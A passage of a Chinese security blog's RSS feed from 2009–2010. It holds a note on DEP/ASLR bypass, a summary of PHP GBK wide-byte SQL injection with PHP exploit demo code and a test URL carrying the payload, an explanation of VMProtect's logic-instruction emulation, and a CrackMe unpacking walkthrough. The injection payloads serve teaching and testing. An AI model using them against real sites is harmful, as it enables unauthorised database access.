spray注入内存的构造的数据绕过DEP，因为没有在堆上执行代码<br><br>2.绕过ASLR，是因为内核服务调用的入口地址是不会变化的，只要能够构造相应的内核调用需要用到的<br><br>参数，就可以执行类似这样的shellcode，但是局限性也很明显了，因为这样构造出来的shellcode功能很<br><br>有限，就像TK演示的那样，制造了一个锁屏的操作。<br><br>3.利用起来非常困难，但就理论上就对抗windows的这些安全保护机制，算是绕过了，呵呵：）<br><br>写的匆忙，多多包涵，再次感谢TK提供的这种想法：）<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=338]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-02-09T14:51:06Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=335">
    <title><![CDATA[PHP字符编码绕过漏洞总结]]></title>
    <description><![CDATA[该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换
后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞
就触发了。
 mysql_real_esc...]]></description>
    <content:encoded><![CDATA[该漏洞最早2006年被国外用来讨论数据库字符集设为GBK时，0xbf27本身不是一个有效的GBK字符，但经过 addslashes() 转换<br>后变为0xbf5c27，前面的0xbf5c是个有效的GBK字符，所以0xbf5c27会被当作一个字符0xbf5c和一个单引号来处理，结果漏洞<br>就触发了。<br>     mysql_real_escape_string() 也存在相同的问题，只不过相比 addslashes() 它考虑到了用什么字符集来处理，因此可以用相<br>应的字符集来处理字符。在MySQL 中有两种改变默认字符集的方法。<br>方法一：<br>改变mysql配置文件my.cnf<br>CODE:<br>[client]<br>default-character-set=GBK<br>方法二：<br>在建立连接时使用<br>CODE:<br>SET CHARACTER SET &#39;GBK&#39;<br>例：mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br>问题是方法二在改变字符集时mysql_real_escape_string() 并不知道而使用默认字符集处理从而造成和 addslashes() 一样的漏洞<br>下面是来自<a target='_blank' href='http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码'>http://ilia.ws/archives/103-mysql_real_escape_string-versus-Prepared-Statements.html的测试代码</a><br>&lt;?php<br><br>$c = mysql_connect(&quot;localhost&quot;, &quot;user&quot;, &quot;pass&quot;);<br>mysql_select_db(&quot;database&quot;, $c);<br><br>// change our character set<br>mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br><br>// create demo table<br>mysql_query(&quot;create TABLE users (<br>    username VARCHAR(32) PRIMARY KEY,<br>    password VARCHAR(32)<br>) CHARACTER SET &#39;GBK&#39;&quot;, $c);<br>mysql_query(&quot;insert INTO users VALUES(&#39;foo&#39;,&#39;bar&#39;), (&#39;baz&#39;,&#39;test&#39;)&quot;, $c);<br><br>// now the exploit code<br>$_POST[&#39;username&#39;] = chr(0xbf) . chr(0x27) . &#39; OR username = username /*&#39;; <br>$_POST[&#39;password&#39;] = &#39;anything&#39;; <br><br>// Proper escaping, we should be safe, right?<br>$user = mysql_real_escape_string($_POST[&#39;username&#39;], $c);<br>$passwd = mysql_real_escape_string($_POST[&#39;password&#39;], $c);<br><br>$sql = &quot;select * FROM  users where  username = &#39;{$user}&#39; AND password = &#39;{$passwd}&#39;&quot;;<br>$res = mysql_query($sql, $c);<br>echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records<br><br>?&gt;<br>纵观以上两种触发漏洞的关键是addslashes() 在Mysql配置为GBK时就可以触发漏洞，而mysql_real_escape_string() 是在不知<br>道字符集的情况下用默认字符集处理产生漏洞的。<br>       下面再来分析下国内最近漏洞产生的原因。<br>问题出现在一些字符转换函数上，例如mb_convert_encoding()和iconv()等。<br>发布在80sec上的说明说0xc127等一些字符再被addslashes() 处理成0xc15c27后，又经过一些字符转换函数变为0×808027，而使得经过<br>addslashes() 加上的&quot;\&quot;失效，这样单引号就又发挥作用了。这就造成了字符注入漏洞。 <br>      根据80sec的说明，iconv()没有该问题，但经我用0xbf27测试<br>$id1=mb_convert_encoding($_GET[&#39;id&#39;], &#39;utf-8&#39;, &#39;gbk&#39;);<br>$id2=iconv(&#39;gbk//IGNORE&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>$id3=iconv(&#39;gbk&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>这些在GPC开启的情况下还是会产生字符注入漏洞，测试代码如下：<br>&lt;?php<br><br>$c = mysql_connect(&quot;localhost&quot;, &quot;user&quot;, &quot;pass&quot;);<br>mysql_select_db(&quot;database&quot;, $c);<br><br>// change our character set<br>mysql_query(&quot;SET CHARACTER SET &#39;gbk&#39;&quot;, $c);<br><br>// create demo table<br>mysql_query(&quot;create TABLE users (<br>    username VARCHAR(32) PRIMARY KEY,<br>    password VARCHAR(32)<br>) CHARACTER SET &#39;GBK&#39;&quot;, $c);<br>mysql_query(&quot;insert INTO users VALUES(&#39;foo&#39;,&#39;bar&#39;), (&#39;baz&#39;,&#39;test&#39;)&quot;, $c);<br><br>// now the exploit code<br>//$id1=mb_convert_encoding($_GET[&#39;id&#39;], &#39;utf-8&#39;, &#39;gbk&#39;);<br>$id2=iconv(&#39;gbk//IGNORE&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br>//$id3=iconv(&#39;gbk&#39;, &#39;utf-8&#39;, $_GET[&#39;id&#39;]);<br><br>$sql = &quot;select * FROM  users where  username = &#39;{$id2}&#39; AND password = &#39;password&#39;&quot;;<br>$res = mysql_query($sql, $c);<br>echo mysql_num_rows($res); // will print 2, indicating that we were able to fetch all records<br><br>?&gt;<br>测试情况 <a target='_blank' href='http://www.safe3.cn/test.php?id=%bf%27'>http://www.safe3.cn/test.php?id=%bf%27</a> OR username = username /*<br> <br>    后记，这里不光是%bf，其它许多字符也可以造成同样漏洞。<br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=335]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2010-01-13T13:51:51Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=332">
    <title><![CDATA[(转)理解vmp]]></title>
    <description><![CDATA[vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P
P(a,b) = ~a & ~b

这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令
怕忘记了，直接给出公式，后面的数字指需要几次P运算

not(a) = P(a,a) 1
and(a,b) = P(P(a,a),P(b,b)) 3
or(a,b...]]></description>
    <content:encoded><![CDATA[vmp里面只有1个逻辑运算指令 not_not_and 设这条指令为P<br>P(a,b) = ~a & ~b<br><br>这条指令的神奇之处就是能模拟 not and or xor 4条常规的逻辑运算指令<br>怕忘记了，直接给出公式，后面的数字指需要几次P运算<br><br>not(a)   = P(a,a)    1<br>and(a,b) = P(P(a,a),P(b,b))   3<br>or(a,b)   = P(P(a,b),P(a,b))   2<br>xor(a,b) = P(P(P(a,a),P(b,b)),P(a,b)) 5<br><br>上面的次数应该是最少需要的次数了，当然也可以展开，那样就更加复杂了<br>vmp用1条指令模拟了4条指令，因此逆向起来比较复杂，如果中间夹杂垃圾运算，那么工程量非同小可<br>下面来证明一下上面4条等式<br><br>not(a) = ~a = ~a & ~a = P(a,a)<br>and(a,b) = a & b = ~(~a) & ~(~b) = P(not(a),not(b)) = P(P(a,a),P(b,b))<br>or(a,b) = a | b = ~(~(a|b)) = ~(~a & ~b) = ~P(a,b) = P(P(a,b),P(a,b))<br>xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((a | ~b) & (~a | b)) = ~(1 | 1 | a & b | ~a & ~b) = ~(a & b) & ~(~a & ~b) = P(and(a,b),P(a,b)) = P(P(P(a,a),P(b,b)),P(a,b))<br><br>上面的xor是最复杂的，不过简化后也只需要5次运算就可以实现了<br><br>至于eflag，eflag是根据结果来定的，由于都是逻辑运算，所以最后取一下eflag即可<br><br>在某修改版的vm中，还可以看到另一个强大的指令 not_not_or 设这条指令为Q<br>Q(a,b) = ~a | ~b<br><br>同样，这一条指令可以模拟4条常规的逻辑运算指令<br>怕忘记了，直接给出公式，后面数字表示需要几次Q运算<br><br>not(a)   = Q(a,a)    1<br>and(a,b) = Q(Q(a,b),Q(a,b))   2<br>or(a,b)   = Q(Q(a,a),Q(b,b))   3<br>xor(a,b) = Q(Q(Q(a,a),b),Q(a,Q(b,b))) 5<br><br>基本和上面P指令相同，效率没什么变化<br>只对最复杂的xor证明一下，以防忘记<br><br>xor(a,b) = ~a & b | a & ~b = ~(~(~a & b | a & ~b)) = ~(~(~a & b) & ~(a & ~b)) = ~((~(~a) | ~b) & (~a | ~(~b))) = ~(~(~a) | ~b) | ~(~a | ~(~b)) = Q(Q(not(a),b),Q(a,not(b))) = Q(Q(Q(a,a),b),Q(a,Q(b,b)))<br><br>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=332]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-12-24T10:47:17Z</dc:date>
  </item>

	<item rdf:about="http://www.kyospace.com//blogview.asp?logID=327">
    <title><![CDATA[脱一个壳玩玩]]></title>
    <description><![CDATA[这次不用ImportREC 重建输入表，自己手工建一个试试。
目标在附件里。
 这个壳OEP比较好找。直接用OD的sfx就到了。
oep:47148b
当然断GetVersion 也可以。
//////////////////////////////////
最常规的
0047A034 <> 60 pushad
0047A035 9C pushfd
0047A036 E8...]]></description>
    <content:encoded><![CDATA[这次不用ImportREC 重建输入表，自己手工建一个试试。<br>目标在附件里。<br> 这个壳OEP比较好找。直接用OD的sfx就到了。<br>oep:47148b<br>当然断GetVersion 也可以。<br>//////////////////////////////////<br>最常规的<br>0047A034 &lt;&gt;  60                     pushad<br>0047A035     9C                     pushfd<br>0047A036     E8 8E000000            call CrackMe.0047A0C9                  ; 来到这里 esp定律 命令行下hr esp<br>0047A03B     C3                     retn<br><br>F9运行来到这里：<br>0037087A     E8 980D0000            call 00371617                          ; f7走一下<br>0037087F     51                     push ecx<br>00370880     E9 600C0000            jmp 003714E5<br><br>00371617     8D6424 04              lea esp,dword ptr ss:[esp+4]           ; 这里<br>0037161B     61                     popad<br>0037161C   ^ E9 E7F9FFFF            jmp 00371008                           ; 这里继续F7<br><br>00371008   - FFE0                   jmp eax                                ; 跳向oep<br>、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、、<br><br>到OEP后知道iat被加密了 是这样的<br><br>00475000  003E2264<br>00475004  003E21A0<br>00475008  003E2137  <br>0047500C  003E2328<br>00475010  003E215F<br>00475014  00000000<br>00475018  003E624C  <br>0047501C  003E47DB<br>00475020  003E5C30<br>00475024  003E7088<br>00475028  003E50A2<br>0047502C  003E465C<br>00475030  003E2D4C<br>00475034  003E32E7<br>00475038  003E73C7<br>0047503C  003E6274<br>00475040  003E5814<br>00475044  003E7207<br>00475048  003E524D<br>0047504C  003E53F8<br>00475050  003E5061<br>///////////////////////////////////////////<br>重新来，在475000处下内存写入断点。可以到这里：<br>/*7C921DE6*/  REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS:[ESI]     //这里 <br>/*7C921DE8*/  JMP DWORD PTR DS:[EDX*4+7C921F00]<br>/*7C921DEF*/  MOV EAX,EDI<br>/*7C921DF1*/  MOV EDX,3<br>/*7C921DF6*/  SUB ECX,4<br>/*7C921DF9*/  JB SHORT ntdll.7C921E07<br>/*7C921DFB*/  AND EAX,3<br><br><br>f8一下  后IAT就添充完了。如下：<br><br>00475000  00075812<br>00475004  00075806<br>00475008  000757EE<br>0047500C  000757E2<br>00475010  00075822<br>00475014  00000000<br>00475018  00075A6E<br>0047501C  00075A5C<br>00475020  00075A4E<br>00475024  00075A3E<br>00475028  00075A32<br>0047502C  00075A26<br>00475030  00075A1C<br>00475034  00075A10<br>00475038  00075A04<br>0047503C  00075A7E<br>00475040  000759EC<br>00475044  000759DE<br>00475048  000759D0<br>0047504C  000759C2<br>00475050  000759B2<br>00475054  00075998<br><br>/////////////////////////////////////<br>这个一看就是原始的输入表，那还等啥？直接用 LordPE 修正镜像大小，然后 dump。<br>用 PETools 的编辑工具把 dump 程序的 OEP 改成 007148b，再用16进制编辑工具定位到偏移 75000 处.<br>第一个是75812，在winhex中拉到75812后再往上拉，再找到75812开头的地方。这时发现输入表没有了。<br>那只能自己重建一个了。<br><br>先熟悉下输入表结构吧。<br><br>IMAGE_IMPORT_DESCRIPTOR结构的各个域的含义:<br>1)union {<br>         DWORD Characteristics; <br>         DWORD OriginalFirstThunk;<br>   };<br>    这个联合指向一个 IMAGE_THUNK_DATA 类型的结构数组. 其实这个字段为0也行。<br>  <br>2)TimeDateStamp<br>    该dll的时间日期戳,一般为0.<br>  <br>3)ForwarderChain<br>    正向连接索引.一般为0.<br>  <br>4)Name<br>    dll名字的RVA.<br>  <br>5)FirstThunk<br>    这个域也是一个RVA,指向一个DWORD数组,数组以NULL结束.数组中的每个DWORD实际上是一个IMAGE_THUNK_DATA结构的联合体。IMAGE_THUNK_DATA联合体通常被解释为一个指向IMAGE_IMPORT_BY_NAME结构的RVA.<br><br>大小是5个dword. 程序里有多少个dll，就有多少个这样的结构，最后由20个0结尾。<br><br>///////////////////////////////////////////////////////<br>既然本程序没有输入表，我就在75b10处建一个吧。<br><br>第一个DWORDOriginalFirstThunk指向75812的rva是7550c.<br>第2，3个DWORD都填0.<br>第4个DWORD是指向dll的rva.找到dll的位置填上去为 75834<br>第5个DWORD是上面的指向75812的rva，找到是75000.<br><br>看到一共是3个dll。按照这个格式把那两个结构也写到后面即可。<br>改完后是这样的<br>：75b10<br>0C550700000000000000000034580700<br>00500700245507000000000000000000<br>D85A070018500700C457070000000000<br>00000000D6570700B450070000000000<br><br><br>完了后再用pe工具把iat的rva改为75b10  大小改为50即可。<br>/////////////////////////////////////////<br><br>由于union {<br>         DWORD Characteristics; <br>         DWORD OriginalFirstThunk;<br>   };<br>这个为0也行   所以改为下面也行<br>000000000000000000000000D85A0700<br>18500700000000000000000000000000<br>34580700005007000000000000000000<br>00000000D6570700B450070000000000<br>///////////////////////////////////////////////////////////////<br>以上只是练习下手工建IAT的方法 其实下面方法最简单。<br>0047A41B    FFD2            call    edx                               F7进入 <br>ctrl+B 搜<br><br>0F 85 A5 F5 ?? FF <br>将搜到指令的jnz 改成jmp   即可<br>壳就不加密IAT了<br><br><a href='attachments/m&#111;nth_200909/18_151951_gd6jCrackMe.rar'><img src='http://www.kyospace.com/images/icon_save.gif' border='0' align='absmiddle'> <b>File:</b> Click to Download</a>
		<br><br><link href="http://www.kyospace.com/rssstyles.css" rel="stylesheet" type="text/css">]]></content:encoded>
    <link><![CDATA[http://www.kyospace.com/blogview.asp?logID=327]]></link>
    <dc:subject><![CDATA[黑客技术文章]]></dc:subject>
    <dc:creator><![CDATA[kyo327]]></dc:creator>
    <dc:date>2009-09-18T15:19:56Z</dc:date>
  </item>

      </rdf:Seq>
    </items>
  </channel>
</rdf:RDF>
